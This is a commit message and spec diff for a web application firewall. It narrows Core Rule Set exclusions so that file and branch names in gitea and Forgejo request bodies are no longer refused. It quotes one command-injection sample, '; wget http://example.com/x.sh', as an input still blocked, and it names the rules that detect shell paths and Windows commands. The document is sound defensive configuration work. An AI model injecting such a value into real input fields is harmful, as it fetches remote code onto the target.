Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- new_branch_name of a branch created on the web or the API;
- from and to of a renamed branch, on gitea's and Forgejo's paths;
- head of a pull request and message of a file, through the API.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

SPEC.md

@@ -865,6 +865,28 @@ The changes hold in front of every app, and no setting undoes them:
         - to start a release from a tag;
         - to edit a branch protection rule;
         - to list a directory's last commits.
+    - A file or branch name in a body field:
+        - `tree_path` of the web editor's save, new file and delete, for system
+          files, Windows commands and command names (930120, 932120, 932260);
+        - `commit_summary` there, for system files and Windows commands (930120,
+          932120);
+        - `content` there, the file's text, for a Unix command at the start of a
+          line (932235);
+        - `new_branch_name` of a branch created on the web or through the API,
+          for command names (932260);
+        - `from` and `to` of a branch renamed on the web, for command names
+          (932260);
+        - `head` of a pull request opened through the API, for command names
+          (932260);
+        - `message` of a file created, changed or deleted through the API, for
+          Windows commands (932120).
+
+        Names such as `docker-compose.yml`, `.htaccess` and
+        `feat/docker-support` were refused. `; wget http://example.com/x.sh` and
+        path traversal are still refused in these fields. These exclusions
+        matter only while `SWW_WAF_BODY_LIMIT` is set. None applies when the
+        query has a parameter of the same name.
+
     - The `Content-Range` header of an artifact upload from
       `actions/upload-artifact@v3` (920450).
     - The passwords in a body, for each rule that random passwords set off. The
@@ -1570,11 +1592,13 @@ The changes hold in front of every app, and no setting undoes them:
     `/index.php/`. Elsewhere these fields keep every rule. An app other than
     Nextcloud that serves one of these paths must check these fields itself.
 
-15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
-    ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
-    change applies to its requests too. This change holds only what Forgejo
-    sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
-    rule and the search it refused:
+15. On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo
+    requests there. Forgejo is a fork of gitea, and the eighth change applies to
+    its requests too. This change holds only what Forgejo sends and gitea does
+    not. `internal/coreruleset/forgejo.conf` lists each rule and the request it
+    refused.
+
+    `q` on the search of a wiki skips these rules:
     - system files (930120), such as `.htaccess`;
     - Windows commands (932120), such as `powershell`;
     - shell paths (932160), such as `/bin/sh`;
@@ -1586,6 +1610,11 @@ The changes hold in front of every app, and no setting undoes them:
     at the site root. An app other than Forgejo that serves such a path must
     check `q` itself.
 
+    Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
+    gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path,
+    `from` and `to` skip the list of command names (932260), which refused
+    `feat/docker-support`. This matters only while `SWW_WAF_BODY_LIMIT` is set.
+
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.